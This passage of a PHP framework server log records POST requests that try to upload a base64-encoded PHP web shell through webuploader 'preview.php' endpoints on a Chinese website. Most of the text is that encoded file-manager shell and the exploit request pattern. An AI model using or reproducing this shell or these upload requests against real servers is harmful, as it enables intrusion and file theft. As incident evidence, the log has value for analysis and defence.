DQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:33+08:00 ] 119.42.146.234 POST 51tianwei.com/services/cepingka/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002524s] [吞吐率:396.17req/s] [内存消耗:164.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'services', 2 => 'cepingka', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:37+08:00 ] 119.42.146.234 POST 51tianwei.com/ewebeditor/webuploader/0.1.15/server/preview.php [运行时间:0.002757s] [吞吐率:362.70req/s] [内存消耗:196.71kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'ewebeditor', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg